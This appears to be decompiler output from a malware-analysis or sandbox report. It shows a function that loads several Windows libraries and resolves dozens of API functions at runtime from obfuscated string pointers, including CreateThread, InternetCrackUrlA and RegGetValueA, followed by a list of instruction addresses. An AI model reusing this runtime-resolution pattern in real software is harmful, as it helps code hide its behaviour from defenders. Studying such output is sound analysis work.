				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x7175e0
					_t273 =  *0x41aa64; // 0x73b60000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x717460
					_t130 =  *0x41aa64; // 0x73b60000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x714920
					_t363 =  *0x41aa64; // 0x73b60000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x717628
					_t275 =  *0x41aa64; // 0x73b60000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x7175c8
					_t135 =  *0x41aa64; // 0x73b60000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x717640
					_t365 =  *0x41aa64; // 0x73b60000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x7176a0
					_t277 =  *0x41aa64; // 0x73b60000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x717538
					_t140 =  *0x41aa64; // 0x73b60000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x7176e8
					_t367 =  *0x41aa64; // 0x73b60000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x717700
					_t279 =  *0x41aa64; // 0x73b60000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x7174d8
					_t145 =  *0x41aa64; // 0x73b60000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x7174f0
					_t369 =  *0x41aa64; // 0x73b60000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x717508
					_t281 =  *0x41aa64; // 0x73b60000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x714760
					_t150 =  *0x41aa64; // 0x73b60000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x7177d8
					_t371 =  *0x41aa64; // 0x73b60000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x714780
					_t283 =  *0x41aa64; // 0x73b60000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x716d30
					_t155 =  *0x41aa64; // 0x73b60000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x7177f0
					_t373 =  *0x41aa64; // 0x73b60000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x714940
					_t285 =  *0x41aa64; // 0x73b60000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x717748
					_t160 =  *0x41aa64; // 0x73b60000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x714980
					_t375 =  *0x41aa64; // 0x73b60000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x717778
					_t287 =  *0x41aa64; // 0x73b60000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x717808
					_t165 =  *0x41aa64; // 0x73b60000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x717760
					_t377 =  *0x41aa64; // 0x73b60000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x7177a8
					_t289 =  *0x41aa64; // 0x73b60000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x714a80
					_t170 =  *0x41aa64; // 0x73b60000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x717790
					_t379 =  *0x41aa64; // 0x73b60000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x7177c0
					_t291 =  *0x41aa64; // 0x73b60000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x717b20
					_t175 =  *0x41aa64; // 0x73b60000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x714a40
					_t381 =  *0x41aa64; // 0x73b60000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x717940
					_t293 =  *0x41aa64; // 0x73b60000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x717ac0
					_t180 =  *0x41aa64; // 0x73b60000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x7178b0
					_t383 =  *0x41aa64; // 0x73b60000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x717928
					_t295 =  *0x41aa64; // 0x73b60000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x717958
					_t185 =  *0x41aa64; // 0x73b60000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x714b20
					_t385 =  *0x41aa64; // 0x73b60000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x714b00
					_t297 =  *0x41aa64; // 0x73b60000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x717868
					_t190 =  *0x41aa64; // 0x73b60000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x7179a0
					_t387 =  *0x41aa64; // 0x73b60000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x714e60
					_t299 =  *0x41aa64; // 0x73b60000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x716fd8
					_t195 =  *0x41aa64; // 0x73b60000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x717ad8
					_t389 =  *0x41aa64; // 0x73b60000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x717970
					_t301 =  *0x41aa64; // 0x73b60000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x714e00
					_t200 =  *0x41aa64; // 0x73b60000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x714da0
					_t391 =  *0x41aa64; // 0x73b60000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x714de0
					_t303 =  *0x41aa64; // 0x73b60000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x717a78
					_t205 =  *0x41aa64; // 0x73b60000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x714d00
					_t393 =  *0x41aa64; // 0x73b60000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x7179d0
					_t305 =  *0x41aa64; // 0x73b60000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x714e80
					_t210 =  *0x41aa64; // 0x73b60000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x714c00
					_t395 =  *0x41aa64; // 0x73b60000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x73b60000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x73b60000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x73b60000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x73b60000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x73b60000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x717610
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x717478
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x717718
				_t4 = LoadLibraryA(_t220); // executed
				 *0x41aaa8 = _t4;
				_t310 =  *0x41a2c0; // 0x717658
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x717568
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x717490
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x717598
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x7174a8
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x717670
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x7174c0
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x717688
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x717520
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x7176d0
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x715790
					_t272 =  *0x41a964; // 0x770b0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x770b0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x770b0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x7179e8
					_t355 =  *0x41a8d8; // 0x6f6f0000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x714be0
					_t266 =  *0x41a8d8; // 0x6f6f0000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x714ea0
					_t112 =  *0x41a8d8; // 0x6f6f0000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x714ba0
					_t357 =  *0x41a8d8; // 0x6f6f0000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x717af0
					_t268 =  *0x41a8d8; // 0x6f6f0000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x714d20
					_t117 =  *0x41a8d8; // 0x6f6f0000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x714b80
					_t359 =  *0x41a8d8; // 0x6f6f0000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x714bc0
					_t270 =  *0x41a8d8; // 0x6f6f0000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x714c20
					_t122 =  *0x41a8d8; // 0x6f6f0000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6f6f0000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x717988
					_t92 =  *0x41aaa8; // 0x745c0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x7179b8
					_t348 =  *0x41aaa8; // 0x745c0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x714e20
					_t259 =  *0x41aaa8; // 0x745c0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x714dc0
					_t97 =  *0x41aaa8; // 0x745c0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x717b38
					_t350 =  *0x41aaa8; // 0x745c0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x7157b0
					_t261 =  *0x41aaa8; // 0x745c0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x714c40
					_t102 =  *0x41aaa8; // 0x745c0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x714b40
					_t352 =  *0x41aaa8; // 0x745c0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x717b08
					_t263 =  *0x41aaa8; // 0x745c0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x717850
					_t107 =  *0x41aaa8; // 0x745c0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x717a48
					_t354 =  *0x41aaa8; // 0x745c0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x717a60
					_t254 =  *0x41a854; // 0x73ae0000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x714e40
					_t85 =  *0x41a854; // 0x73ae0000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x717a18
					_t345 =  *0x41a854; // 0x73ae0000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x714b60
					_t256 =  *0x41a854; // 0x73ae0000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x717a90
					_t90 =  *0x41a854; // 0x73ae0000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x73ae0000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x717880
					_t61 =  *0x41a988; // 0x76990000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x717aa8
					_t335 =  *0x41a988; // 0x76990000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x714c60
					_t246 =  *0x41a988; // 0x76990000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x714c80
					_t66 =  *0x41a988; // 0x76990000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x717898
					_t337 =  *0x41a988; // 0x76990000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x715670
					_t248 =  *0x41a988; // 0x76990000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x7178c8
					_t71 =  *0x41a988; // 0x76990000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x717a30
					_t339 =  *0x41a988; // 0x76990000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x7178f8
					_t250 =  *0x41a988; // 0x76990000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x7178e0
					_t76 =  *0x41a988; // 0x76990000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x715760
					_t341 =  *0x41a988; // 0x76990000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x714ca0
					_t252 =  *0x41a988; // 0x76990000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x717910
					_t81 =  *0x41a988; // 0x76990000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x717a00
					_t343 =  *0x41a988; // 0x76990000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x714f00
					_t244 =  *0x41aa40; // 0x6fc20000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x714cc0
					_t59 =  *0x41a94c; // 0x76600000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x714ce0
					_t332 =  *0x41a934; // 0x76ae0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x716df8
					_t239 =  *0x41aa34; // 0x73870000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x714d40
					_t52 =  *0x41aa34; // 0x73870000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x716e98
					_t329 =  *0x41aa34; // 0x73870000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x714d60
					_t241 =  *0x41aa34; // 0x73870000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x716ee8
					_t57 =  *0x41aa34; // 0x73870000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x717b50
					_t331 =  *0x41aa34; // 0x73870000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x717c88
					_t235 =  *0x41aa80; // 0x6e6e0000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x717ce8
					_t43 =  *0x41aa80; // 0x6e6e0000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x714d80
					_t325 =  *0x41aa80; // 0x6e6e0000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x6fa808
					_t237 =  *0x41aa80; // 0x6e6e0000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x718698
					_t48 =  *0x41aa80; // 0x6e6e0000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x717dc0
					_t327 =  *0x41aa80; // 0x6e6e0000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x717d18
					_t233 =  *0x41a968; // 0x76550000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x7156f0
					_t39 =  *0x41a968; // 0x76550000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x717dd8
					_t323 =  *0x41a968; // 0x76550000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x718478
					_t232 =  *0x41aa98; // 0x750f0000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x717d60
					_t36 =  *0x41aa98; // 0x750f0000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x716e48
					_t316 =  *0x41a938; // 0x73130000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x718778
					_t227 =  *0x41a938; // 0x73130000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x716f38
					_t25 =  *0x41a938; // 0x73130000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x717ca0
					_t318 =  *0x41a938; // 0x73130000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x717d00
					_t229 =  *0x41a938; // 0x73130000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x7186b8
					_t30 =  *0x41a938; // 0x73130000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x718578
					_t320 =  *0x41a938; // 0x73130000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x717cd0
					_t231 =  *0x41a938; // 0x73130000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x718798
					_t20 =  *0x41a97c; // 0x76610000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x7187b8
					_t315 =  *0x41a97c; // 0x76610000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x717e20
					_t224 =  *0x41aa88; // 0x6e7a0000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
